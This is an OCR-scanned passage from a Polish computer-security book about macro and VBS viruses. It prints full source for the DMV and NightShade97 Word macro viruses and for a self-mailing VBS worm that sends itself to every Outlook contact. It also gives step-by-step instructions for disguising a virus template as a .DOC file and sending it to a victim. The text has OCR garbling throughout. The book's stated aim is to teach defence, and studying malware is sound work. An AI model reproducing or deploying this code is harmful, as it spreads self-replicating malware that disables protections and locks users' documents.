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Powszechnie znanym zagrozeniem dla internautéw sa wirusy. Jednak to nie wszystko
— uzytkownikom sieci zagrazaja hakerzy, programy szpiegujace i inne putapki,

0 ktérych istnieniu wielu ludzi nawet nie wie. Niebezpieczeristwo wynikajace

z korzystania z sieci mozna znacznie ograniczy¢, wiedzac, na czym polega jego natura.
Nie od dzi§ wiadomo, ze jednym z najskuteczniejszych sposobéw na réznych
napastnikow jest stosowanie ich wiasnej broni. Nalezy wiec pozna¢ metody ich
dziatania i podja¢ odpowiednie kroki zapobiegawcze.

Ksiazka ,Nie tylko wirusy. Hacking, cracking, bezpieczenstwo Internetu. Wydanie I1”
przedstawia niemal wszystkie niebezpieczeristwa czyhajace na internautow.

Opisuje rodzaje wirusow i sposoby ich dziatania oraz techniki i narzedzia, jakimi
postuguija sie hakerzy. Zawiera omowienie tych elementéw systeméw operacyjnych,
ktdre sa najbardziej podatne na ataki, oraz informacije, jak im zapobiec.

e Wirusy polimorficzne i makrowirusy

e Stabe punkty systeméw Windows

¢ Wtamania do systemdw Linux

¢ Sposoby maskowania obecnosci hakera w systemie
* Rodzaje atakow hakerskich

Jesli chcesz wiedzie¢, jak obronic si¢ przed sieciowymi
putapkami, przeczytaj te ksiazke
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Rozdziat 3.
Makrowirusy

Jesli korzystasz z poczty elektronicznej lub przegladasz grupy dyskusyjne, to pewnie
zdarzyto Ci si¢ kiedy$ ustysze¢ o przesylce, ktora po otwarciu powoduje skasowanie
wszystkich danych na twardym dysku lub wykonuje inne nieprzyjemne rzeczy. Wiasnie
takie pogtoski o liscie z tytutem GOODTIMES krazyly masowo jaki$ czas temu w sieci
America On-Line. Stalo si¢ to poczatkiem dyskusji na temat: czy komputer mozna zara-
zi¢ wirusem przez same przeczytanie dokumentu? Po doktadnym przeanalizowaniu
wszystkich za i przeciw oraz po sprawdzeniu dziesiatek przykladow wszystkie Wielkie
Autorytety doszly do wniosku, ze poza sytuacjami zdegenerowanymi (kon trojanski
W postaci podmienionego sterownika ANSI, Zle skonfigurowany program do odczytu
poczty) zarazanie poprzez przeczytanie pliku nie jest mozliwe. Po czym znana skadinad
firma M. wypuscila na rynek nowa wersj¢ pakietu Office z rozbudowanym systemem
makropolecen i jak grzyby po deszczu zaczely powstawaé wirusy przenoszone w doku-
mentach, ktore ochrzczono wspdlng nazwa DMV (Document Macro Virus — tak nazy-
wal si¢ pierwszy z serii).

Spowodowalo to poczatkowo panike poréwnywalna prawie z pamigtnym Michatem
Aniotem. Jednak blizsze przyjrzenie si¢ strukturze tego typu wiruséw pozwolito stwier-
dzi¢, ze s to stworki prymitywne i zaréwno ich napisanie, jak i obrona przed nimi sg
jeszcze prostsze niz w przypadku tradycyjnych wirusow.

Sprawdzita si¢ tu znana zasada, ze im wigksza elastycznos¢ ma mie¢ dany system, tym
bardziej jest narazony na infekcje. Furtka do systemu dla wiruséw w tym przypadku
byta mozliwos¢ modyfikowania zestawu makropolecen szablonow Worda oraz fakt, ze
makropolecenia o pewnych nazwach wykonuja si¢ zawsze w okreslonych sytuacjach.
I tak:

Nazwa makra Uruchamia sie podczas:

AutoExec Rozpoczgcia pracy z Wordem
AutoNew Tworzenia nowego dokumentu
AutoOpen Otwierania dokumentu
AutoClose Zamykania dokumentu

AutoExit Koniczenia pracy z Wordem
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Mechanizm tworzenia wirusa jest wigc bardzo prosty:

1. Tworzysz nowe makro o nazwie takiej jak jedna z powyzszych (niektore
wirusy podpinaja si¢ rowniez pod inne czgsto wykonywane polecenia, takie
jak Zapisz — nie uruchamiaja si¢ wtedy automatycznie, ale w momencie,
kiedy uzytkownik skorzysta z tego polecenia).

2. Wpisujesz do niego kod wirusa.
3. Jako zawartos¢ dokumentu wpisujesz np. tres¢ fancuszka sw. Antoniego.

4. Zapisujesz plik jako Word Template, ale z nazwa *. DOC — zeby nie
wzbudzaé podejrzen.

5. Przesylasz (lub zanosisz na dyskietce) dokument do przysztej ofiary
z dopiskiem ,,przeczytaj to koniecznie”.
Kod wirusa sktada si¢ z takich oto cze$ci:
1. Sprawdzenie, czy wirusa nie ma juz w NORMAL.DOT.
2. Jesli nie ma, to wirus kopiuje si¢ do tego szablonu.

3. Sprawdzenie, czy makro jest obecne w aktywnym dokumencie. Jesli nie jest,
to wirus zmienia jego typ, zapisujac go jako szablon Worda. Zachowuje jednak
rozszerzenie DOC, aby nie wzbudza¢ podejrzen.

4. Powielenie si¢ wirusa do nowo utworzonego szablonu.

5. Przy odpowiednich warunkach (np. 13-tego w piatek) uaktywnia sie¢ powodujac:
¢ Skasowanie dysku C.
¢ Zmiang nazw istniejacych plikow.
¢ Przekopiowanie danych z dysku twardego zarazonego komputera na jakis inny.
¢

Whystanie co ciekawszych plikow (np. arkuszy Excela z tajnymi transakcjami
firmy) pod wskazany adres e-mail.

¢ Zalozenie hasta na plikach w zarazonym komputerze.

No dobra, dosy¢ straszenia. Po prostu pisze komunikat Catch Me If You Can
i to wszystko.

Napisanie wirusa na podstawie powyzszego schematu nie powinno wiec sprawiac
wigkszego klopotu. Jak widac ponizej, listing kodu zajmuje niewiele miejsca i nie ma
w sobie jakichs skomplikowanych funkcji:

REM Tres$¢ makra DMV jest wydrukowana za zgoda

REM Joela M. McNamary - jego twércy. Wszystkie komentarze

REM pochodza od niego i sa przez autora ksiagzki tylko

REM przettumaczone na jezyk polski.

REM Ponizszy kod demonstruje specyficzne zastosowanie wirusa

REM w dokumencie utworzonym przez automatyczne makropolecenia
REM w Microsoft Word 6.0 dla Windows. Kod jest wykonywany za

REM kazdym razem, gdy dokument jest zamykany.

REM To makropolecenie jest zaledwie przyktadem i nie wykonuje
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REM zadnych destrukcyjnych czynnosci.

REM Celem tego kodu jest wskazanie istotnego ryzyka w ochronie
REM software, ktéry toleruje jezyki makro z samotadujacymi sie
REM zdolnos$ciami. Wspdtczesne narzedzia do wykrywania wiruséw
REM nie sa obecnie w stanie dostrzec tego typu wiruséw,

REM a wiekszos$¢ uzytkownikéw znajduje sie w stanie btogiej

REM nie$wiadomos$ci, Ze zagrozenie to moze pochodzié

REM z dokumentéw.

REM Wklej ten kod do szablonu makropolecenia w dokumencie
REM Worda. Zachowaj makropolecenie jako AutoClose. Wejdz
REM do tekstu w gtéwnym oknie Worda i zachowaj ten dokument.
REM Teraz skopiuj plik, a nowy nazwij VIRUS.DOC. Otwoérz

REM VIRUS.DOC, a wirus wykona swe zadanie.

REM Komunikaty pokazuja postep wykonywania kodu.
REM Kod jest utworzony.

REM joelm@eskimo.com, December 17, 1994
REM m o oo mm e

Sub MAIN
title$ = "Document Macro Virus"
MsgBox "Licze globalne makra.", title$, 16

REM SprawdZ, ile makr globalnych jest w tej chwili
REM zdefiniowanych

total = CountMacros(0)
present = 0

REM SprawdZz, czy AutoClose jest zdefiniowane jako makro
REM globalne. Pozwala to na identyfikacje, czy system jest
REM juz zarazony

If total > 0 Then
For cycle = 1 To total
If MacroName$(cycle, 0) = "AutoClose" Then
MsgBox "Makro AutoClose jest juz zainstalowane
w NORMAL.DOT.", title$, 16
present = 1
End If
End If

REM Pobierz nazwe biezacego dokumentu
a$ = WindowName$() + ":AutoClose"

REM Jes1i AutoClose jeszcze tam nie ma,
REM to kopiuj go do NORMAL.DOT.

If present <> 1 Then
MacroCopy a$, "Global:AutoClose"
MsgBox "Zainfekowatem NORMAL.DOT kopig makra AutoClose
wirusa DMV.", title$, 16
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REM Ten kod zaraza dokument za kazdym razem, kiedy jest

REM zamykany. Powoduje to jego replikacje do kazdego dokumentu
REM czytanego przez Worda.

Else

REM Je$1i AutoClose jest juz globalnym makrem, a plik nie
REM jest jeszcze zainfekowany, to wirus zachowuje biezacy
REM dokument jako szablon, aby mogty do niego by¢ dotaczone
REM makra.

REM SprawdZ jeszcze raz, czy AutoClose jest juz w dokumencie
REM W tym przypadku nie trzeba juz sprawdza¢ nazwy, bo tylko
REM AutoClose moze osadzi¢ makro w dokumencie.

present = 0
If CountMacros(1l) <> 0 Then
MsgBox "AutoClose makrowirus jest juz w tym dokumencie .",

titles, 16
present = 1
End If

REM Zapisz biezacy dokument jako szablon.

If present = 0 Then
FileSaveAs .Format =1
MsgBox " Zapisuje biezacy dokument jako szablon.", title$,
16

REM T skopiuj do niego makro AutoClose z szablonu
REM NORMAL.DOT.

MacroCopy "Global:AutoClose", a$
MsgBox " Zainfekowatem biezacy dokument kopig makra
AutoClose wirusa DMV .", title$, 16
End If
End If

REM Po powieleniu sie do dokumentu i do NORMAL.DOT
REM wykonuje ponizszy kod (moze on by¢ destrukcyjny
REM jak polecenia Kill, inwazyjny jak Connect lub

REM CopyFile albo nie mie¢ Zadnych ubocznych skutkéw) .

MsgBox "Makrowirus rozprzestrzenit sie. Teraz wykonuje jaki$
kod (dobry? zty? Tub obojetny??).", title$, 16
End Sub

W Wordzie 97 zmieniono jg¢zyk makropolecen i mozna w nim pisa¢ programy tylko
w jezyku Visual Basic for Applications. Dlatego powyzszy kod nie moglby w nim by¢
wykonywany. Mechanizm i zasady pozostaja jednak bez zmian — jedynie za te same
czynnos$ci odpowiadaja inne funkcje. Ponadto nowos$cia w stosunku do wersji poprzed-
nich jest fakt, ze programy pakietu Office 97 uprzedzaja o mozliwosci istnienia makro-
wirusow i standardowo proponuja wylaczenie makroinstrukcji nowo otwieranego do-
kumentu. Jest to jedyne zabezpieczenie — programy pakietu Office 97 nie zawieraja
w sobie skanera znanych wirusow i bardziej zaawansowanych narzedzi ochrony, ofero-
wanych przez specjalistyczne pakiety antywirusowe.
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W momencie pisania pierwszego wydania tej ksigzki jedynym znanym mi wirusem
Worda 97 byt NightShade97. Od tego czasu powstato ich bardzo wiele, wszystkie jednak
dziataja wedlug tego samego schematu. Ponizej znajduje si¢ kod wirusa NightShade97.

Attribute VB Name = "NightShade"

Sub AutoClose()

Attribute AutoClose.VB Description = "Night Shade."
On Error GoTo NightShade

REM Po co robi¢ zbytni hatas.
AppTlication.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone

WordBasic.DisabTeAutoMacros 0
Options.VirusProtection = False

Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate

DocumentInstalled = False
GlobalInstalled = False

REM Sprawdzenie, czy aktywny dokument jest juz zainfekowany

For T =1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name =
"NightShade" Then
DocumentInstalled = True
End If
Next

REM Sprawdzenie, czy NORMAL.DOT jest juz zainfekowany

For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(J).Name =
"NightShade" Then
Globallnstalled = True
End If
Next

REM Jeé§1i dokument nie jest zarazony, to zapisz go
REM jako szablon i zaraZz go.

If DocumentInstalled = False Then
Application.0OrganizerCopy
Source:=NormalTemplate.FullName,
Destination:=ActiveDocument.FullName,
Name:="NightShade",
Object :=wd0OrganizerObjectProjectItems
ActiveDoc.SaveAs
FileName:=ActiveDoc.Name,
FileFormat:=wdFormatTemplate
End If

REM Replikacja do szablonu globalnego, o ile ten
REM nie byt zarazony.



66 Czesc | ¢ Wirusy

If Globallnstalled = False Then
Application.OrganizerCopy
Source:=ActiveDocument .FullName,
Destination:=NormalTemplate.FullName,
Name :="NightShade",
Object :=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If

REM Losowe wy$wietlenie komunikatu o swoim istnieniu
If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then
Assistant.Visible = True
With Assistant.NewBalloon
.Icon = msolconAlert
.Text = "Word97.NightShade by Pyro [VBB]"
.Heading = "Attention:"
.Show
End With
End If

REM 13-tego w sobote (dlaczego nie w piagtek ?777)
REM zmieniamy hasto.

If WeekDay(Now()) = 6 And Day(Now()) = 13 Then
If ActiveDoc.HasPassword = False Then
ActiveDoc.Password = "NightShade"
End If
End If
Application.DisplayAlerts = wdAlertsAll

NightShade:
End Sub

Proba otworzenia zainfekowanego dokumentu powoduje pojawienie si¢ komunikatu:

Otwierany dokument zawiera makra i elementy dostosowujgce, W niekkdrych makrach
mogg by wirusy szkodliwe dla komputera,

Jesli jest to dokument wiadomego pochodzenia, Kiknij opcje

‘wiacz makra, Jedli pochodzenie dokumentu nie jest pewne i Wiece] informacii |

cheesz uniemozliwic uruchamianie makr, kiknij opcje Wylacz
makra,

V¥ Zawsze pytai przy obwieraniu dokumentdw z makrami | elementani dostosowwigcymi

‘iacz makra | Mie obwieraj |

Pozwolenie na wlaczenie makr powoduje infekcj¢. Objawia si¢ to migdzy innym poja-
wieniem si¢ makra AutoClose.
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Makia [2]x]

Mazwa makra;

utoClose] Uruchom I
Anuluj

Erokowo
Edtuj

Ukwdrz
_I Usuri
_J Orgarizator...

Makra w: 'Wszystkie akbywne szablony | dokumenty x

Opis:
Might Shade.

Co jaki$ czas przy zamykaniu okien wirus si¢ nam przedstawia w taki sposob:

m Attention:

Word97 MightShade by Pyro [VEE]

Liele

Wirusy VBS

Microsoft i inni producenci oprogramowania biurowego poradzili sobie dos¢ szybko z wi-
rusami DMV, blokujac lub ograniczajac dzialanie makropolecen i jezyka Visual Basic for
Applications. Jak to jednak bywa w naturze, puste miejsce zostato szybko wypekione
przez jeszcze szybciej rozprzestrzeniajace si¢ makrowirusy, wykorzystujace internet i jezyk
VBS — domysIny jezyk skryptowy sytemu Windows.

VBS zostat kiedys nazwany rajem dla tworcow wirusow. Jest w tym trochg prawdy, ten
nastgpca przestarzatych, zwiazanych jeszcze z DOS-em plikow *.bhat miat by¢ wy-
godnym narzedziem, automatyzujacym czynnosci administracyjne systemu Windows.
Narzedzie jest faktycznie dos¢ wygodne (cho¢ juz widzg grymas skrzywienia na twarzy
wszystkich wychowanych na C lub C++), jednak jak to zwykle bywa, wygoda bardzo
rzadko idzie w parze z bezpieczenstwem a tworcy tego jezyka pozostawili momentami
zbyt duza swobode programistom.

Aby napisa¢ wirusa w jezyku VBS, nie trzeba zna¢ zbytnio systemu Windows. Nie ma
potrzeby posiadania doktadniejszej wiedzy na temat dziatania wiruséw a nawet nie
trzeba koniecznie umie¢ programowaé w tym jezyku. Moze tylko trzeba wiedzie¢, co
znaczy 17, a co for.
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O ile od pomystu na wirusa ,,tradycyjnego”:
& Zainfekuj boot-sektor
& Sprawdz, czy sq przejete odpowiednie przerwania, a jesli nie, to je przechwy¢
& Zastosuj techniki stealth do zamaskowania swojej obecno$ci w systemie
& Doklej nastepng wersje wirusa (najlepiej zmutowanq) do pliku *.exe
& Uaktywnij sie, jesli zaistniejq odpowiednie warunki

do jego realizacji musiato uptyna¢ wiele godzin zmudnego kodowania, a kazdy z pod-
punktow odpowiadal kilkudziesigciu czy kilkuset instrukcjom asemblera, o tyle pomyst
na wirusa VBS:

¢ Pobierz nazwe folderu systemowego Windows do zmiennej
¢ Pobierz nazwe wykonywanego skryptu do zmiennej

& Przekopiuj plik do folderu systemowego

& Urworz obiekt aplikacji Outlook

& Utworz obiekt Messaging Application Programming Interface (systemu
dostepu do poczty elektronicznej przez programistow z tworzonych aplikacji)

& Dla wszystkich list w ksiqzce adresowej i dla wszystkich pozycji na liscie:
¢ utworz nowq wiadomosé¢ e-mail

ustaw adresata nowej wiadomosci na nazwe z ksiqzki adresowej

ustaw temat wiadomosci

¢
¢
¢ ustaw tres¢ wiadomosci
¢

dodaj jako zalqcznik plik wirusa z folderu systemowego Windows
& wyslij wiadomos¢é poprzez program Outlook

& Wyczys¢ zmienne i zakoncz skrypt

nie wymaga praktycznie zadnego naktadu pracy programistycznej, a kazda z pozycji
schematu dziatania wirusa odpowiada prawie w stosunku 1:1 konkretnej instrukcji VBS.
Otrzymany efekt to wirus rozsylajacy swoje kopie pod wszystkie adresy e-mail znaj-
dujace si¢ w ksiazce adresowej Outlooka.

On Error Resume Next
if msgbox ("Dzien dobry, Tu wirus ROZSYLACZ" & vbnewline & "Po zamknieciu tego
Gokienka roze$le sie do wszystkich Twoich znajomych" & vbnewline & "Dziekuje
& 111" vbyesnocancel) =vbyes then
Set obiekt = CreateObject("Scripting.FileSystemObject")
Set katalog = obiekt.GetSpecialFolder(0)
Set plik = obiekt.GetFile(WScript.ScriptFullName)
plik.Copy(katalog&"\Rozsylacz.vbs")
set outlook=WScript.CreateObject("Outlook.Application™)
set mapi=outlook.GetNameSpace("MAPI")
for 1=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(1)
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for pozycja=1 to a.AddressEntries.Count
adresat=a.AddressEntries(pozycja)
set poczta=outlook.Createltem(0)
poczta.Recipients.Add(adresat)
poczta.Subject = "Tu wirus Rozsytacz"

poczta.Body = vbnewline & "Cze$¢, dostate$ wtasnie wirusa Rozsytacz. Uruchom

% zatacznik, je$li chcesz go rozestac dalej"
poczta.Attachments.Add(katalog&"\rozsylacz.vbs")
poczta.Send
next

next

Set outTook=Nothing

Set mapi=Nothing

msgbox "Skonczytem rozsytanie" & vbnewline & "Dziekuje !!!"

Trzeba przyznac, ze w konkursie na najmniej skomplikowanego i najprostszego do napi-
sania wirusa w dowolnym jezyku programowania ten mialby najwigksze szanse na
wygrang. Jest w peti funkcjonalnym, samoreplikujacym si¢ tworem, wymaga jedynie
otwarcia przez adresata zalacznika do dalszego rozprzestrzeniania si¢ (co wigcej, progra-
my pocztowe w systemie Windows mialy kilka dziur pozwalajacych na uruchomienie
kodu VBS w trakcie czytania wiadomosci e-mail nawet bez konieczno$ci otwierania

zalacznikow).

& Elementy wystane - Microsoft Outlook o

Tak. Hie Anuluj

Rozsylacz.vbs

Czedt, dostated wladnie wirusa Rozsylacz. Uruchom zatqcznik, jesli choesz go rozestad dale)
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Typowym i chyba najbardziej popularnym przedstawicielem wirusow VBS byt wirus

I Love You, doktadniej opisany w rozdziale 4.



